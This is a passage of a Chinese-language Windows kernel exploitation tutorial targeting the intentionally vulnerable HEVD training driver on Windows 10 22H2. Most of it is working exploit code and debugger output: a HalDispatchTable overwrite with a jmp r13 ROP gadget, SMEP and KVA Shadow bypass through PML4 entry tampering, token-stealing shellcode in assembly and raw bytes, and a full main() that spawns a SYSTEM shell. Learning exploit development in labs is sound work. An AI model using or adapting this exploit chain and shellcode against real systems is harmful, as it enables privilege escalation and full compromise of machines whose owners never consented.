// SetR13.asmunsigned char rawSetR13[] = {  0x49, 0x89, 0xcd, 0xc3  };PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));
((void (*)(PVOID))executableSetR13)(shellcode);

这样,shellcode 的地址将在 R13 寄存器中设置。

检查内核基址的偏移量

要使用 ArbitraryWrite 修改函数指针,我们需要检查内核基址的偏移量 HalDispatchTable+0x8 和 ROP 小工具 ( jmp r13 )。

可以使用 WinDbg 检查的 nt!HalDispatchTable+0x8 偏移量,如下所示:

1: kd> ? nt!HalDispatchTable+0x8 - ntEvaluate expression: 12585576 = 00000000`00c00a68
  • 偏移量 nt!HalDispatchTable+0x8 :0xc00a68

ROP 小工具 ( jmp r13 ) 的偏移量是从 rp++ 输出的地址中减去基址 (0x140000000) 获得的值。

0x14080d5db: jmp r13 ; (1 found)
  • ROP 小工具的偏移量 ( jmp r13 ):0x80d5db

现在我们已经做好了所有必要的准备工作。

跳转到 ROP 小工具

HalDispatchTable+0x8 使用 ArbitraryWrite 覆盖以修改函数指针,以便执行 ROP 小工具 ( jmp r13 )。

const size_t HalDispatchTable8_Offset = 0xc00a68;PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
const size_t JmpR13_Offset = 0x80d5db;PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

有了这个,我们应该能够绕过内核模式的地址检查并劫持控制流。

在 WinDbg 中设置断点时执行漏洞利用。

在 ROP 小工具上设置断点 ( jmp r13 )。

1: kd> bp nt+0x80d5db

通过调用 NtQueryIntervalProfile 来触发函数指针调用。

ULONG dummy = 0;ntQueryIntervalProfileFunc(2, &dummy);

它命中了我们之前设置的断点。已成功调用 ROP 小工具。

Breakpoint 0 hitnt!CmpLinkHiveToMaster+0x1a037b:fffff800`81c0d5db 4bffe5          jmp     r13

检查处于此状态的 R13 寄存器,我们可以看到 shellcode ( 280bb610000 ) 的地址已按预期设置。

0: kd> r rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540 r8=fffff283a770f460  r9=fffff283a770f490 r10=fffff80081c0d5dbr11=0000000000000000 r12=0000000000000000 r13=00000280bb610000r14=0000000000000000 r15=0000000000000000iopl=0         nv up ei pl zr na po nccs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246nt!CmpLinkHiveToMaster+0x1a037b:fffff800`81c0d5db 4bffe5          jmp     r13 {00000280`bb610000}
0: kd> u r13 L400000280`bb610000 90              nop00000280`bb610001 90              nop  00000280`bb610002 90              nop00000280`bb610003 cc              int     3

任意代码执行

如果我们继续该过程,则执行虚拟的无所事事 shellcode ( nop/nop/nop/int3 )。

0: kd> gBreak instruction exception - code 80000003 (first chance)00000280`bb610003 cc              int     3

由于它只是 nop 和 int3 ,除了休息之外什么也没发生。但是,在正常情况下,BSOD应该在达到 int3 之前由安全功能触发。

我们可以 nop int3 在内核模式下执行而不会出错,这一事实表明我们到目前为止所做的安全功能绕过正在按预期运行。

现在已经完成了任意代码执行,剩下的就是编写一个在内核模式下提升权限的 shellcode。

4. 执行 Token 窃取 shellcode

这一次,我们将在漏洞利用中使用令牌窃取 shellcode。

令牌窃取 shellcode 是一种将任意进程的权限提升为 SYSTEM 权限的 shellcode。此 shellcode 通过将任意进程的令牌替换为 SYSTEM 进程的令牌来实现权限提升。

令牌窃取 Shellcode 处理

以下是我这次创建的令牌窃取 shellcode 执行的处理概述。

1. 通过跟踪存储在 GS 寄存器中的多个指针_KPCR获取指向 _EPROCESS 的 ActiveProcessLinks 的指针

  • GS[0x180] → _KPRCB

  • _KPRCB + 0x8 → CurrentThread

  • CurrentThread + 0xB8 → CurrentProcess

  • CurrentProcess + 0x448 → ActiveProcessLinks

2. 探索 ActiveProcessLinks,直到找到 SYSTEM 进程

检查目标进程的 UniqueProcessId 是否匹配0x04

  • UniqueProcessId != 0x04:

不是 SYSTEM 进程。获取指向下一个进程的指针,然后重新执行 UniqueProcessId 检查

  • UniqueProcessId == 0x04:

找到 SYSTEM 进程。获取 SYSTEM 进程的令牌,用该值覆盖 CurrentProcess 的令牌,然后结束处理

当上述处理在内核模式下执行时,当前在线程中执行的进程将提升为 SYSTEM 权限。

实现令牌窃取 shellcode

以下是上述处理在汇编语言中的实现:

BITS 64global _startsection .text    SYSTEM_PID equ 0x04    ; nt!_KPCR    Prcb equ 0x180    ; nt!_KPRCB    CurrentThread equ 0x08    ; nt!_KTHREAD    ApcState equ 0x98    ; nt!_KAPC_STATE    Process equ 0x20    ; nt!_EPROCESS    UniqueProcessId equ 0x440    ActiveProcessLinks equ 0x448    Token equ 0x4b8
_start:    ; Retrieve a pointer to _ETHREAD from KPCR    mov rdx, qword [gs:Prcb + CurrentThread]
    ; Obtain a pointer to CurrentProcess    mov r8, [rdx + ApcState + Process]
    ; Move to the first process in the ActiveProcessLinks list    mov rcx, [r8 + ActiveProcessLinks]
.loop_find_system_proc:    ; Get the UniqueProcessId    mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]
    ; Check if UniqueProcessId matches the SYSTEM process ID    cmp rdx, SYSTEM_PID    jz .found_system  ; IF (SYSTEM process is found)
    ; Move to the next process    mov rcx, [rcx]    jmp .loop_find_system_proc  ; Continue looping until the SYSTEM process is found
.found_system:    ; Retrieve the token of the SYSTEM process    mov rax, [rcx - ActiveProcessLinks + Token]
    ; Mask the RefCnt (lower 4 bits) of the _EX_FAST_REF structure    and al, 0xF0
    ; Replace the CurrentProcess's token with the SYSTEM process's token    mov [r8 + Token], rax
    ; Clear r13 register    xor r13, r13
    ret

TokenSteal.asm:

https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/shellcode/TokenSteal.asm

嵌入漏洞利用

与 SetR13.asm 一样,将令牌窃取 shellcode 组合起来,并将其嵌入到 C 源代码中。

nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm
> python hex.py TokenSteal.bin// size: 55unsigned char rawShellcode[] = {    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,     0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,    0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,    0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,     0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3  };

将虚拟 shellcode 替换为 TokenSteal shellcode。

// unsigned char rawShellcode[] = {//   0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3  // };
// TokenSteal.asmunsigned char rawShellcode[] = {  0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,  0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,   0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,  0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,  0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3  };PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));printf("[*] Executable shellcode: %p\n", executableShellcode);

这样,令牌窃取 shellcode 应该在内核模式下执行。

权限提升后处理

在当前的漏洞利用中,在通过令牌窃取 shellcode 提升进程权限后,程序将结束,无需执行任何操作。

作为权限提升后处理,让我们添加代码以启动cmd.exe作为子进程。

system("start cmd.exe");

这样,在权限升级完成后,应该会启动具有 SYSTEM 权限的新 shell。

执行令牌窃取 shellcode

让我们运行该漏洞并确认其按预期运行。

当漏洞被执行时...

具有系统权限的新 shell 已经启动!

权限提升成功。

内核安全检查失败

但是,在运行漏洞利用后不久,会出现蓝屏死机。

停止代码为KERNEL_SECURITY_CHECK_FAILURE。

https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-0x139--kernel-security-check-failure

此停止代码是 Windows 的内核修改检测功能(内核补丁保护)检测到内核修改时显示的停止代码之一。换句话说,上述蓝屏死机可能是由于检测到漏洞利用的修改而触发的。

5. 恢复内核状态

最后,作为漏洞利用清理,让我们恢复内核状态。

漏洞利用期间覆盖的内核空间数据有以下两种:

  • Shellcode 的 PML4E

  • HalDispatchTable+0x8

对于 shellcode 的 PML4E,由于我们在中途泄露了原始值,因此在执行 shellcode 后重置该值应该没问题。

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);

对于 HalDispatchTable+0x8 ,当前代码会覆盖它而不会泄露原始值。由于我们不知道原始值,因此在覆盖之前,让我们添加代码以使用 ArbitraryRead 泄漏原始值。

PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);printf("[*] Leaked HalDispatchTable+0x8: %p\n", originalHalDispatchTable8);

执行 shellcode 后,添加处理以使用 ArbitraryWrite 将原始值重置为 HalDispatchTable+0x8 。

ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

进行上述更改可防止在漏洞利用执行后发生蓝屏死机。

这样就完成了漏洞利用。

漏洞利用代码

以下是本文中创建的漏洞利用代码的主要功能:

int main(void){      HANDLE hHevd = GetHevdDeviceHandle();    PVOID kernelBaseAddress = GetKernelBaseAddress();
    // TokenSteal.asm    unsigned char rawShellcode[] = {        0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,        0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,        0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,        0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,          0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3    };    PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
    // SetR13.asm      unsigned char rawSetR13[] = {        0x49, 0x89, 0xcd, 0xc3    };      PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));
    // 1. Bypassing PML4 Self-Reference Entry Randomization    const size_t MiGetPteAddress13_Offset = 0x26b573;    PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);    PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);      unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
    // 2. Bypassing SMEP and KVA Shadow     unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);    PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);    uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);    uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
    // 3. Bypassing Kernel-mode Address Check    const size_t HalDispatchTable8_Offset = 0xc00a68;      PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);    PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);      const size_t JmpR13_Offset = 0x80d5db;    PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);    ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13  
    // 4. Executing the Token Stealing Shellcode    HMODULE ntdll = GetModuleHandle("ntdll");    FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");    ULONG dummy = 0;      ((void (*)(PVOID))executableSetR13)(shellcode);     ntQueryIntervalProfileFunc(2, &dummy);
    // 5. Restoring kernel state      ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);    ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);  
    // Obtaining a SYSTEM privileged shell    system("start cmd.exe"); 
    return 0;}

完整的漏洞利用代码(包括 和 ArbitraryRead 的函数定义 ArbitraryWrite )已上传到以下 GitHub 存储库:

HEVD 漏洞 - 绕过 Windows 10 22H2 上的 KVA Shadow 和 SMEP

https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS

结论

在本文中,我解释了利用 HackSys 极端易受攻击驱动程序 (HEVD) 中的任意内存覆盖漏洞的开发过程。

本文基于我从 OffSec 的 EXP-401:高级 Windows 开发课程的教学大纲中选择的关键字 (*)。这一次,我将调查重点放在与“5 个驱动程序回调覆盖”相关的关键字上,并在 HEVD 漏洞利用的主题下重新组织了我的发现。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。